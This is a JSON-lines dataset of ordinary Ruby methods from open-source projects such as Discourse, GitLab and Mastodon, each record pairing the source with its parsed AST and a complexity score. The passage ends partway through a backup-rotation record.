{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/completions/dialects/nova.rb","start_line":8,"raw_source":"def can_translate?(llm_model)\n            llm_model.provider == \"aws_bedrock\" && llm_model.name.include?(\"amazon.nova\")\n          end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"can_translate?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"llm_model\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"llm_model\"]},\"provider\"]},\"==\",{\"type\":\"str\",\"children\":[\"aws_bedrock\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"llm_model\"]},\"name\"]},\"include?\",{\"type\":\"str\",\"children\":[\"amazon.nova\"]}]}]}]}","id":"af98d651-3e1c-4261-9f37-41def7545eee"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/tooling/lib/tooling/api/job.rb","start_line":10,"raw_source":"def initialize(api_token, project_id, job_id)\n        @api_token = api_token\n        @project_id = project_id\n        @job_id = job_id\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"api_token\"]},{\"type\":\"arg\",\"children\":[\"project_id\"]},{\"type\":\"arg\",\"children\":[\"job_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@api_token\",{\"type\":\"lvar\",\"children\":[\"api_token\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@project_id\",{\"type\":\"lvar\",\"children\":[\"project_id\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@job_id\",{\"type\":\"lvar\",\"children\":[\"job_id\"]}]}]}]}","id":"7dc5f4ed-8689-4c77-96b0-924278820fb6"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/controllers/edit_directory_columns_controller.rb","start_line":7,"raw_source":"def index\n    ensure_user_fields_have_columns\n\n    columns = DirectoryColumn.includes(:user_field).all\n    render_json_dump(directory_columns: serialize_data(columns, EditDirectoryColumnSerializer))\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"index\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ensure_user_fields_have_columns\"]},{\"type\":\"lvasgn\",\"children\":[\"columns\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DirectoryColumn\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"user_field\"]}]},\"all\"]}]},{\"type\":\"send\",\"children\":[null,\"render_json_dump\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"directory_columns\"]},{\"type\":\"send\",\"children\":[null,\"serialize_data\",{\"type\":\"lvar\",\"children\":[\"columns\"]},{\"type\":\"const\",\"children\":[null,\"EditDirectoryColumnSerializer\"]}]}]}]}]}]}]}","id":"fae28a83-7c07-4200-b918-93275f7abf4e"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/jive.rb","start_line":132,"raw_source":"def import_users\n    puts \"\", \"creating users\"\n\n    count = 0\n    users = []\n\n    total = total_rows(\"users\")\n\n    csv_parse(\"users\") do |row|\n      id = row.userid\n\n      email = \"#{row.email}\"\n\n      # fake it\n      email = fake_email if row.email.blank? || row.email !~ /@/\n\n      name = \"#{row.firstname} #{row.lastname}\"\n      username = row.username\n      created_at = DateTime.parse(row.creationdate)\n      last_seen_at = DateTime.parse(row.lastloggedin)\n      is_activated = row.userenabled\n\n      username = name if username == \"NULL\"\n      username = email.split(\"@\")[0] if username.blank?\n      name = email.split(\"@\")[0] if name.blank?\n\n      users << {\n        id: id,\n        email: email,\n        name: name,\n        username: username,\n        created_at: created_at,\n        last_seen_at: last_seen_at,\n        active: is_activated.to_i == 1,\n        approved: true,\n      }\n\n      count += 1\n      load_user_batch! users, count - users.length, total if count % BATCH_SIZE == 0\n    end\n\n    load_user_batch! users, count, total\n  end","complexity_score":70.25,"ast_json":"{\"type\":\"def\",\"children\":[\"import_users\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"\"]},{\"type\":\"str\",\"children\":[\"creating users\"]}]},{\"type\":\"lvasgn\",\"children\":[\"count\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"lvasgn\",\"children\":[\"users\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"total\",{\"type\":\"send\",\"children\":[null,\"total_rows\",{\"type\":\"str\",\"children\":[\"users\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"csv_parse\",{\"type\":\"str\",\"children\":[\"users\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"id\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"userid\"]}]},{\"type\":\"lvasgn\",\"children\":[\"email\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"email\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"email\"]},\"blank?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"email\"]},\"!~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"@\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"email\",{\"type\":\"send\",\"children\":[null,\"fake_email\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"firstname\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"lastname\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"username\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"username\"]}]},{\"type\":\"lvasgn\",\"children\":[\"created_at\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"creationdate\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"last_seen_at\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DateTime\"]},\"parse\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"lastloggedin\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"is_activated\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"userenabled\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"username\"]},\"==\",{\"type\":\"str\",\"children\":[\"NULL\"]}]},{\"type\":\"lvasgn\",\"children\":[\"username\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"username\"]},\"blank?\"]},{\"type\":\"lvasgn\",\"children\":[\"username\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"email\"]},\"split\",{\"type\":\"str\",\"children\":[\"@\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"blank?\"]},{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"email\"]},\"split\",{\"type\":\"str\",\"children\":[\"@\"]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users\"]},\"<<\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"email\"]},{\"type\":\"lvar\",\"children\":[\"email\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"lvar\",\"children\":[\"username\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"lvar\",\"children\":[\"created_at\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"last_seen_at\"]},{\"type\":\"lvar\",\"children\":[\"last_seen_at\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"active\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"is_activated\"]},\"to_i\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"approved\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"count\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"count\"]},\"%\",{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]}]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[null,\"load_user_batch!\",{\"type\":\"lvar\",\"children\":[\"users\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"count\"]},\"-\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"users\"]},\"length\"]}]},{\"type\":\"lvar\",\"children\":[\"total\"]}]},null]}]}]},{\"type\":\"send\",\"children\":[null,\"load_user_batch!\",{\"type\":\"lvar\",\"children\":[\"users\"]},{\"type\":\"lvar\",\"children\":[\"count\"]},{\"type\":\"lvar\",\"children\":[\"total\"]}]}]}]}","id":"97028dcf-783c-4ee7-a1e9-e0944261bad9"}
{"repo_name":"haml","file_path":"./repos/haml/test/haml/helper_test.rb","start_line":397,"raw_source":"def test_haml_tag_if_positive_with_attributes; skip\n    assert_equal(<<HTML, render(<<HAML))\n<div class='conditional' foo='bar'>\n  <p>A para</p>\n</div>\nHTML\n- haml_tag_if true, '.conditional',  {:foo => 'bar'} do\n  %p A para\nHAML\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_haml_tag_if_positive_with_attributes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skip\"]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"<div class='conditional' foo='bar'>\\n\"]},{\"type\":\"str\",\"children\":[\"  <p>A para</p>\\n\"]},{\"type\":\"str\",\"children\":[\"</div>\\n\"]}]},{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"- haml_tag_if true, '.conditional',  {:foo => 'bar'} do\\n\"]},{\"type\":\"str\",\"children\":[\"  %p A para\\n\"]}]}]}]}]}]}","id":"0d74f700-1cf5-467e-bfc3-d69255ee88f7"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/global_setting.rb","start_line":379,"raw_source":"def self.load_plugins?\n    if ENV[\"LOAD_PLUGINS\"] == \"1\"\n      true\n    elsif ENV[\"LOAD_PLUGINS\"] == \"0\"\n      false\n    elsif Rails.env.test?\n      false\n    else\n      true\n    end\n  end","complexity_score":10.5,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"load_plugins?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LOAD_PLUGINS\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"1\"]}]},{\"type\":\"true\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ENV\"]},\"[]\",{\"type\":\"str\",\"children\":[\"LOAD_PLUGINS\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"0\"]}]},{\"type\":\"false\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"env\"]},\"test?\"]},{\"type\":\"false\",\"children\":[]},{\"type\":\"true\",\"children\":[]}]}]}]}]}","id":"37785e03-609a-4c13-bec7-ec762c3e4ef1"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/turbo_tests/flaky/failed_example.rb","start_line":59,"raw_source":"def rerun_command\n        @failed_example\n          .command_string\n          .sub(/TEST_ENV_NUMBER=\\d*\\s*/, \"\")\n          .sub(\"RSPEC_SILENCE_FILTER_ANNOUNCEMENTS=1\", \"\")\n          .sub(\"DISCOURSE_RSPEC_PROFILE_EACH_EXAMPLE=1\", \"\")\n          .gsub(/--format \\S+/, \"\")\n          .gsub(/--out \\S+/, \"\")\n      end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"rerun_command\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@failed_example\"]},\"command_string\"]},\"sub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"TEST_ENV_NUMBER=\\\\d*\\\\s*\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]},\"sub\",{\"type\":\"str\",\"children\":[\"RSPEC_SILENCE_FILTER_ANNOUNCEMENTS=1\"]},{\"type\":\"str\",\"children\":[\"\"]}]},\"sub\",{\"type\":\"str\",\"children\":[\"DISCOURSE_RSPEC_PROFILE_EACH_EXAMPLE=1\"]},{\"type\":\"str\",\"children\":[\"\"]}]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"--format \\\\S+\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]},\"gsub\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"--out \\\\S+\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]}","id":"254e4584-b2ec-4d58-a482-daea7c41d39e"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/processors/erb_template_processor.rb","start_line":49,"raw_source":"def process_block exp\n    exp = exp.dup\n    exp.shift\n    if @inside_concat\n      @inside_concat = false\n      exp[0..-2].each do |e|\n        process e\n      end\n      @inside_concat = true\n      process exp.last\n    else\n      exp.map! do |e|\n        res = process e\n        if res.empty? or res == ignore\n          nil\n        elsif node_type?(res, :lvar) and res.value == :_erbout\n          nil\n\n        else\n          res\n        end\n      end\n      block = Sexp.new(:rlist).concat(exp).compact\n      block.line(exp.line)\n      block\n    end\n  end","complexity_score":42.8,"ast_json":"{\"type\":\"def\",\"children\":[\"process_block\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"exp\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"exp\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"dup\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"shift\"]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@inside_concat\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@inside_concat\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[-2]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"e\"]}]},{\"type\":\"send\",\"children\":[null,\"process\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@inside_concat\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"process\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"last\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"map!\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"e\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"process\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"==\",{\"type\":\"send\",\"children\":[null,\"ignore\"]}]}]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"node_type?\",{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"sym\",\"children\":[\"lvar\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"value\"]},\"==\",{\"type\":\"sym\",\"children\":[\"_erbout\"]}]}]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"res\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"block\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sexp\"]},\"new\",{\"type\":\"sym\",\"children\":[\"rlist\"]}]},\"concat\",{\"type\":\"lvar\",\"children\":[\"exp\"]}]},\"compact\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]},\"line\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exp\"]},\"line\"]}]},{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]}","id":"c002e217-64c1-4f56-bdf8-06764d1f91a0"}
{"repo_name":"forem","file_path":"./repos/forem/app/controllers/admin/users_controller.rb","start_line":131,"raw_source":"def max_score\n      @user = User.find(params[:id])\n      max_score_value = user_params[:max_score]\n      note_content = if user_params[:new_note].present?\n                       \"Changed user's maximum score to #{max_score_value}. \" \\\n                         \"Reason: #{user_params[:new_note]}\"\n                     else\n                       \"Changed user's maximum score to #{max_score_value}.\"\n                     end\n      if @user.update(max_score: max_score_value)\n        Note.create(\n          author_id: current_user.id,\n          noteable_id: @user.id,\n          noteable_type: \"User\",\n          reason: \"max_score_change\",\n          content: note_content,\n        )\n        flash[:success] = I18n.t(\"views.admin.users.max_score.success\", max_score: max_score_value)\n      else\n        flash[:error] = I18n.t(\"views.admin.users.max_score.error\")\n      end\n      redirect_to admin_user_path(@user)\n    end","complexity_score":32.5,"ast_json":"{\"type\":\"def\",\"children\":[\"max_score\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"find\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"id\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"max_score_value\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"max_score\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"note_content\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"new_note\"]}]},\"present?\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Changed user's maximum score to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"max_score_value\"]}]},{\"type\":\"str\",\"children\":[\". \"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Reason: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"user_params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"new_note\"]}]}]}]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Changed user's maximum score to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"max_score_value\"]}]},{\"type\":\"str\",\"children\":[\".\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"update\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max_score\"]},{\"type\":\"lvar\",\"children\":[\"max_score_value\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Note\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"author_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_user\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"noteable_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@user\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"noteable_type\"]},{\"type\":\"str\",\"children\":[\"User\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reason\"]},{\"type\":\"str\",\"children\":[\"max_score_change\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"lvar\",\"children\":[\"note_content\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"success\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"views.admin.users.max_score.success\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"max_score\"]},{\"type\":\"lvar\",\"children\":[\"max_score_value\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"views.admin.users.max_score.error\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"admin_user_path\",{\"type\":\"ivar\",\"children\":[\"@user\"]}]}]}]}]}","id":"becd0caf-cad8-4d9b-9469-001347d1461a"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/serializers/activitypub/update_poll_serializer.rb","start_line":24,"raw_source":"def cc\n    ActivityPub::TagManager.instance.cc(object)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"cc\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActivityPub\"]},\"TagManager\"]},\"instance\"]},\"cc\",{\"type\":\"send\",\"children\":[null,\"object\"]}]}]}","id":"dbb03c8f-abc4-49d8-88c9-c366c57fcdd0"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/project_custom_field_project_mappings/bulk_update_service.rb","start_line":40,"raw_source":"def perform\n      service_call = validate_permissions\n      service_call = perform_bulk_edit(service_call, params) if service_call.success?\n\n      service_call\n    end","complexity_score":7.5,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"service_call\",{\"type\":\"send\",\"children\":[null,\"validate_permissions\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"service_call\"]},\"success?\"]},{\"type\":\"lvasgn\",\"children\":[\"service_call\",{\"type\":\"send\",\"children\":[null,\"perform_bulk_edit\",{\"type\":\"lvar\",\"children\":[\"service_call\"]},{\"type\":\"send\",\"children\":[null,\"params\"]}]}]},null]},{\"type\":\"lvar\",\"children\":[\"service_call\"]}]}]}","id":"2cc55e76-aace-4338-822b-a35f49e9c303"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/instrumentation_helper.rb","start_line":132,"raw_source":"def instrument_global_search_api(payload)\n      payload.merge!(::Gitlab::Instrumentation::GlobalSearchApi.payload)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"instrument_global_search_api\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"payload\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"merge!\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Instrumentation\"]},\"GlobalSearchApi\"]},\"payload\"]}]}]}","id":"9bbbc80f-9296-48c7-aa0e-9fab3cf2e8a6"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/backup/manager.rb","start_line":309,"raw_source":"def remove_old\n      # delete backups\n      keep_time = Gitlab.config.backup.keep_time.to_i\n\n      if keep_time <= 0\n        logger.info \"Deleting old backups ... [SKIPPED]\"\n        return\n      end\n\n      logger.info \"Deleting old backups ... \"\n      removed = 0\n\n      Dir.chdir(backup_path) do\n        backup_file_list.each do |file|\n          # For backward compatibility, there are 3 names the backups can have:\n          # - 1495527122_gitlab_backup.tar\n          # - 1495527068_2017_05_23_gitlab_backup.tar\n          # - 1495527097_2017_05_23_9.3.0-pre_gitlab_backup.tar\n          matched = backup_file?(file)\n          next unless matched\n\n          timestamp = matched[1].to_i\n\n          next unless Time.zone.at(timestamp) < (Time.current - keep_time)\n\n          begin\n            FileUtils.rm(file)\n            removed += 1\n          rescue StandardError => e\n            logger.error \"Deleting #{file} failed: #{e.message}\"\n          end\n        end\n      end\n\n      logger.info \"Deleting old backups ... done. (#{removed} removed)\"\n    end","complexity_score":52.55,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_old\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"keep_time\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"config\"]},\"backup\"]},\"keep_time\"]},\"to_i\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keep_time\"]},\"<=\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"str\",\"children\":[\"Deleting old backups ... [SKIPPED]\"]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"logger\"]},\"info\",{\"type\":\"str\",\"children\":[\"Deleting old backups ... 